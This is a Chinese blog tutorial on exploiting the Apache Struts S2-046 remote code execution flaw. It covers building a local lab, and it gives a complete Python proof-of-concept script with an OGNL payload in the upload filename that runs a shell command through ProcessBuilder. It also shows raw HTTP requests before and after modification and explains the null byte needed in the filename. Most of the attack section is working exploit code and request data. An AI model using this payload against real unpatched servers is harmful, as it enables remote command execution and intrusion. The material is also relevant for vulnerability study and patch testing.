Struts-S2-046漏洞利用,解决网上大部分POC不能使用问题(含环境搭建)

Struts-S2-046

此文仅供大家交流学习,严禁非法使用

一、参考网址:(视频):

https://www.ichunqiu.com/course/57861

找一个好的教程不容易,找一个好的POC也不容易,Cry

教程网址:https://xianzhi.aliyun.com/forum/read/1414.html

二、 影响版本:

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 –Struts 2.5.10

三、 漏洞介绍:

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-046。在使用基于Jakarta插件的文件上传功能时,满足以下条件,会触发远程命令执行漏洞。

1.上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。

2.文件名内容构造恶意的OGNL内容。

本次S2-046漏洞远程命令执行漏洞需满足以上条件,而S2-045的漏洞只需要Content-Type一个点就可以进行远程命令执行。

对于已经修复S2-045漏洞的用户(升级Struts版本为Struts 2.3.31、Struts 2.5.10)不受此漏洞影响。

四、 环境搭建:

下载地址:http://archive.apache.org/dist/struts/2.3.24/
百度云链接:链接:http://pan.baidu.com/s/1dFeUyNv 密码:279t

  • 下载安装xampp

  • 部署showcase

1.png
  • 解压
2.png
  • 复制到
3.png

重启tomcat


4.png
  • 已成功自动部署
5.png

五、 POC:

#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import httplib
httplib.HTTPConnection._http_vsn = 10
httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
class Sugarcrm():
    def poctest(self):
        proxies = {
            "http": "http://127.0.0.1:9090",
        }
        boundary="---------------------------735323031399963166993862150"
        paylaod="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
        url = 'http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action'
        headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
        data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
        r=requests.post(url, headers=headers,data=data,proxies=proxies)
        print r._content
        #print requests.Response().content()
        #print requests.Response()


if __name__ == '__main__':
    test = Sugarcrm()
    test.poctest()

六、 脚本运行结果

运行结果.png

Burp做修改步骤为

七、 测试数据包:

原数据包为

POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 279

Cache-Control: max-age=0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://127.0.0.1:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36

Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC

Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action

Accept-Language: zh-CN,zh;q=0.8

Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483

Connection: close

 

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition: form-data;
name="upload"; filename="2.txt"

Content-Type: text/plain

 

asd

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition: form-data;
name="caption"

 

1

------WebKitFormBoundarydqJWJav8muwL3UTC--

修改后为

POST
/struts2-showcase/fileupload/doUpload.action;jsessionid=95275F7205B8095E487A0160E61E9483
HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 1089

Cache-Control: max-age=0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://127.0.0.1:8080

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101
Safari/537.36

Content-Type: multipart/form-data;
boundary=----WebKitFormBoundarydqJWJav8muwL3UTC

Referer:
http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action

Accept-Language: zh-CN,zh;q=0.8

Cookie:
JSESSIONID=95275F7205B8095E487A0160E61E9483

Connection: close

 

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition:
form-data; name="upload";
filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami**').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}**这里注意了**

Content-Type: text/plain

 

asd

------WebKitFormBoundarydqJWJav8muwL3UTC

Content-Disposition: form-data;
name="caption"

 

1

------WebKitFormBoundarydqJWJav8muwL3UTC—

八、 发现关键部分:

注意上面,那是不可复制内容

注意方块.png

注意到少了三个字符

3.png

后两个字符可以理解,这个方块是怎么回事那?而且经过测试,这个方块至关重要。复制一到方块就停止,且发现并不是因为编码不合适才引起的,具体看一下十六进制表(是就是网上视频教程,文档教程的poc粘贴在burp中修改但不能成功的真正原因,

4.png

这是十六进制表,发现方块没了。。。

再自习看,}和b之前,也就是7d和62之间是00,发现问题了,这个00就是之
前显示的方块

再回头看网上教程,讲到filename存在空字节情况,这下知道空字节什么意思了。

但是,还有一个疑问,简单的python的post请求为什么会制造出空字节,而且不管是data还是python也没有故意制造空字节和b。这个问题待以后解决。

九、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,311评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,339评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,671评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,252评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,253评论 5 371
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,031评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,340评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,973评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,466评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,937评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,039评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,701评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,254评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,259评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,485评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,497评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,786评论 2 345

推荐阅读更多精彩内容